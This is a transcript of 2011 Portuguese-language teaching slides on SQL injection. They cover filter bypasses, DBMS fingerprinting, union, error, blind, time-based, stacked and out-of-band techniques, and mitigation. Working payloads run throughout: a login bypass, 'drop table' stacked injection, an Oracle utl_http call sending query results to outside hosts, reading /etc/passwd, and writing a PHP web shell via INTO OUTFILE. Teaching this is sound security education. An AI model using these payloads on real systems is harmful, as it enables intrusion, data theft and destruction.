web app flaws - sql injection

26
Web App Flaws Minicurso sobre falhas em aplicações web 2011 David G. Guimarães

Upload: david-gomes-guimaraes

Post on 04-Jul-2015

1.825 views

Category:

Technology


3 download

DESCRIPTION

Web Application Flaw - Sql injection

TRANSCRIPT

Page 1: Web App Flaws - SQL Injection

Web App Flaws

Minicurso sobre falhas em aplicações web

2011

David G. Guimarães

Page 2: Web App Flaws - SQL Injection

Roteiro

• SQL Injection

o Introduçãoo Descobrindo falhaso Análise

Filtros Identificação do SGBD/DBMS Localização Técnicas

o File Accesso Mitigaçãoo Hands On

• Referências• Remote/Local File Inclusion• XSS

Page 3: Web App Flaws - SQL Injection

SQL InjectionIntrodução

O que é?• Inserção de códigos SQL através da manipulação de dados de entrada

passados ao aplicativo web.

Como se dá?• O desenvolvedor é o responsável direto por tornar o código inseguro.

Causas• Desenvolvedor desconhece fatos inerentes a segurança de código, assim

como a possibilidade de exploração do mesmo.• Desenvolvedor conhece fatos inerentes a segurança de código, mas é

displicente em tomar medidas preventivas para correção do mesmo.• Falta de processos definidos relativos a desenvolvimento seguro e

auditoria.

Page 4: Web App Flaws - SQL Injection

SQL InjectionIntrodução

Exemplo de código vulnerável (formulário de login)• $query = "select id from usuarios where user='$_GET['user']' and

password='$_GET['password']'";• $usuario = mysql_query($query);

• http://vulnsite.com/admin/login.php?• user=admin• &password=' OR '1'='1

Query manipulada:• select id from usuarios where user='admin' and password='' or '1'='1'• Condição 1=1 sempre verdadeira. Login realizado com sucesso.

Page 5: Web App Flaws - SQL Injection

SQL InjectionIntrodução

Características• Não necessita interação do usuário, ao contrário de XSS.• Sintaxe SQL idêntica ou bastante similar entre todos os SGBD/DBMS.

o Cheat sheets (Lista dos comandos básicos de SQL p/ cada linguagem)• Fácil de ser encontrada e explorada.• Possibilidade de acesso ao sistema de arquivos.• Possibilidade de exploração de vulnerabilidades no SGBD/DBMS.• Dificuldade em se obter mecanismos de proteção genéricos.• Milhões de ferramentas livres/open source para scan, análise e exploração.• Presente na grande maioria dos sites.

Page 6: Web App Flaws - SQL Injection

SQL InjectionIntrodução

Cookbook• Descobrindo falhas

o Manual (Proxy, Firefox Addons)o Automatizado (ferramentas de fuzzing)o Testes básicos

• Análiseo Filtros? (Código de filtro, PHPIDS, WAF, IPS, etc.)o SGBD/DBMS utilizado (MySQL, Postgree, SQLServer, Oracle, MSAccess)o Localização da falha na query (where/having, group/order by, etc)o Técnicas possíveis (union/inband, blind, out-of-band, error, stacked)o Privilégios permitidos (USAGE, FILE, administrator)

• Extração/Enumeração dos dadoso Databaseso Tabelaso Colunaso Linhas

Page 7: Web App Flaws - SQL Injection

SQL InjectionIntrodução

Cookbook• Post-exploitation

o Atingindo outros objetivoso Encontrando outras falhaso Quebrando senhas/hashs usando rainbowtableso Acesso ao sistema de arquivos

Virando root

Page 8: Web App Flaws - SQL Injection

SQL InjectionDescobrindo falhas

Forma automatizada• Ferramentas

o Nessus, w3af, Nikto, Pangolin, Havij, etc.

Forma manual• Mapear páginas dinâmicas• Passivo

o Proxy (webscarab, burp, etc.)o Addons (Firefox: hackbar, Sql Inject me, tamper data, etc.)

Testes básicos• Númerico: id=30

o Testes: id=30 AND 1=1; id=30'; id=30+4-4; id=30/**/;• String: busca=hd

o busca=hd'; hd'--; hd' AND '1'='1

Page 9: Web App Flaws - SQL Injection

SQL InjectionAnálise - Filtros

Analisando e burlando filtros• Filtros genéricos de remoção/bloqueio baseado em tokens

o Exemplo: replace("union| |select|--|/*|...", "");

o Bypass

Encoding usando tabela ASCII e hexadecimal URLs só podem ser enviadas através da Internet utilizando o conjunto

de caracteres ASCII. URLs contêm geralmente caracteres fora do conjunto ASCII, que tem

de ser convertidos em um formato ASCII válido. Encoding de URL substitui caracteres ASCII inseguro com um "%"

seguido de dois dígitos hexadecimais. Exemplo: union vira %75%6e%69%6f%6e

Page 10: Web App Flaws - SQL Injection

SQL InjectionAnálise - Filtros

Analisando e burlando filtros• Filtros genéricos de remoção/bloqueio baseado em tokens

o Exemplo: replace("union| |select|--|/*|...", "");

o Bypass

Usar outros caracteres para separação entre tokens: '\n'(0x0A), '\t'(0x0B), etc

Exemplo: Objetivo: id=1 union select 1,2,3-- Bypass: id=1%0Aunio--n%0Aselec--t%0A1,2,3-select-

maiúsculas/minúsculas select vira sElEcT

Page 11: Web App Flaws - SQL Injection

SQL InjectionAnálise - Filtros

Analisando e burlando filtros• Filtros de tratamento de caracteres SQL especiais

mysql_real_escape_string/addslashes/etc. trata caracteres ', ", /, \, \x00, adicionando '\' antes dos mesmos,

sanitizando-os Bypass: usar a função char() Exemplo: union select column_name from information_schema.columns

where table_name = 'tabela' union select column_name from information_schema.columns

where table_name = CHAR(116, 97, 98, 101, 108, 97) • Filtro de tamanho no parâmetro

o Utiliza função que corta/bloqueia em X bytes o parâmetro

Page 12: Web App Flaws - SQL Injection

SQL InjectionAnálise - Identificação do SGBD

Identificação do SGBD/DBMS• Necessário para extração dos dados/construção da consulta• Sintaxe SQL única para cada SGBD

Cheat sheets de funções únicas de cada SGBD• MySQL

o CONNECTION_ID()=CONNECTION_ID(), USER()=USER(), substring(@@version, 1, 1)

• Oracleo ROWNUM=ROWNUM, LENGTH(SYSDATE)=LENGTH(SYSDATE)

• MS SQL Servero BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123),

HOST_NAME()=HOST_NAME()• Postgree SQL

o 1::int=1, VERSION()=VERSION()

Page 13: Web App Flaws - SQL Injection

SQL InjectionAnálise - Localização

Query inteira• http://vulnsite.com/script.php?sql=select+id,nome+from+usuarios

Colunas/Tabelas• http://vulnsite.com/script.php?colunas=cidade&tabela=estado&nome=brasilia• $query = "select $_GET['colunas'] from $_GET['tabela'] where nome =

'$_GET['nome']'";

Where/Having• http://vulnsite.com/script.php?noticiaid=2• $query = "select titulo,corpo from noticias where id = $_GET['noticiaid']";

Order/Group By• http://vulnsite.com/lista.php?ordenar_por=preco• $query = "select id,nome,preco from produtos order by

$_GET['ordernar_por']";

Page 14: Web App Flaws - SQL Injection

SQL InjectionAnálise - Localização

Limit• http://vulnsite.com/lista.php?pagina=0&linhas_por_pagina=10• $query = "select id,nome,preco from produtos order by preco limit

$_GET['pagina'], $_GET['linhas_por_pagina']";

Page 15: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Union/In-band based• Resultado parcial ou total da query na página de resposta.

o Resultado depende da lógica do scripto O resultado pode aparecer no cabeçalho

Cookies, Location, etc. Exemplo em ADS:

http://site.com/ads.php?url=1 $query = "select uri from urls where id = $_GET['url']"; $result = mysql_query($query); header("Location: ".mysql_result($result, 1));

Page 16: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Union/In-band based• É necessário a identificação da quantidade de colunas da consulta anterior.

o A união das consultas deve possuir o mesmo número de colunas.o Exemplo:

select id, nome from users where id=3 union select 1, @@versiono Uso do order by para descobrir o número de colunas:

http://vulnsite.com/lista.php?id=3 order by 20o Força bruta com NULL para adivinhar o número de colunas

id=3 union select null, null, null

Page 17: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Union/In-band based• Exemplo:

o $query = "select nome, telefone from usuarios where id = $_GET['id']"o http://vulnsite.com/users.php?id=3 union all select table_name,

table_schema from information_schema.tables#

Page 18: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Error based• Baseado na manipulação de mensagens de erro geradas pelo SGBD• Resultado limitado a um número X de caracteres.• Barulhento (gera mensagens de erro que podem ser armazenadas na

máquina)• Exemplo:

o d=1' AND (SELECT 2373 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,101,100,58),(select @@version),CHAR(58,112,122,120,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'kGgv'='kGgv&Submit=Submit

o ERROR 1062 (23000): Duplicate entry ':5.1.41-3ubuntu12.10:1' for key 'group_key'

Page 19: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Out-of-band based• Uso de requisições DNS e HTTP para recuperar dados• Resultado limitado a uma quantidade X de caracteres • Exemplo:

o utl_http.request('http://www.foo.com:80/'||(select username from dba_users where rownum=1))

o 10.1.1.101 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -

o utl_http.request('http://'||(select user from dual)||'.dyndns.com')o Verificar logs do bind/named ou;o Wireshark/tcpdump na porta 53 do servidor DNS.

Page 20: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Blind based• Realiza inúmeras comparações para obtenção da informação• Muito lento

o Aperfeiçoado usando-se paralelismo (threads)o Aperfeiçoado usando-se busca binária.o Exemplo:

id=1 and substring(@@version, 1, 1)=5 id=1 and substring(@@version, 2, 1)='.' etc

Page 21: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Full-blind time based• Baseada em tempo de resposta

o waitfor delay '0:0:5', sleep(5), etc.• Mais lenta de todas• Pode-se utilizar paralelismo• Pode-se utilizar "heavy queries":

o BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))• Pode gerar resultados inválidos/inconsistentes• Exemplo:

o http://vulnsite.com/vulnscript.php?id=45;if EXISTS (select loginame from master..sysprocesses where spid = @@SPID and loginame = 'dominio\usuario') waitfor delay '0:0:5'--

o Dorme 5 segundos caso o loginame seja o especificado.

Page 22: Web App Flaws - SQL Injection

SQL InjectionAnálise - Técnicas

Stacked based• Permite alteração dos dados no BD. UPDATE, DROP, etc.• Possível somente em algumas tecnologias.• Pode ser utilizada em conjunto com a técnica baseada em tempo e baseada

em erro.• Exemplo:

o busca=nome'; drop table noticias--o busca=nome'; if (substring(@@version, 1, 1)='M') waitfor delay '0:0:5'

else select 1;--

Page 23: Web App Flaws - SQL Injection

SQL InjectionAnálise - File Access

• Depende do nível de permissão do usuário.• Permite leitura, escrita e execução de arquivos com a permissão do usuário

rodando o DBMS.• Exemplo:

o Leitura: id=1 union select load_file('/etc/passwd');

o Escrita: id=1 union select "<?php system($_GET['cmd']); ?>" into outfile

'/var/www/c.php';-- id=1 union select "<?php fwrite(fopen($_POST[t],w),$_POST[d]); ?>" into

outfile '/var/www/c.php';--o Execução:

xp_cmdshell() UDF Injection

Page 24: Web App Flaws - SQL Injection

SQL InjectionEvitando SQLi

Sanitizar/tratar todos os parâmetros recebidos dos usuários.• Inteiro

o Converter entrada para inteiro (intval(), is_numeric());o Tratar possibilidade de números negativos;

• Stringo Tratar entrada com regexo Tratar caracteres especiais (htmlentities($param, ENT_QUOTES))

html, sql, etc.Tratar TODAS as possíveis mensagens de erro, configurar tecnologia para não mostrar erros para o usuário.

Page 25: Web App Flaws - SQL Injection

SQL InjectionHands On - Ao que interessa

• Demonstração de todos os passos para exploração de Web App Flaws.• DVWA - ferramenta de demonstração/aplicação de vulnerabilidades• SQLMAP - ferramenta para extração de dados

Page 26: Web App Flaws - SQL Injection

SQL InjectionReferências

• Google codelab: http://google-gruyere.appspot.com/• Ferramentas: sqlsus, sqlmap, pangolin, marathon, bsqli, Havij, sqlninja, etc.• Tabela ASCII: http://www.asciitable.com/• SQL Injection Cheat Sheets: http://pentestmonkey.net/blog/mysql-sql-

injection-cheat-sheet/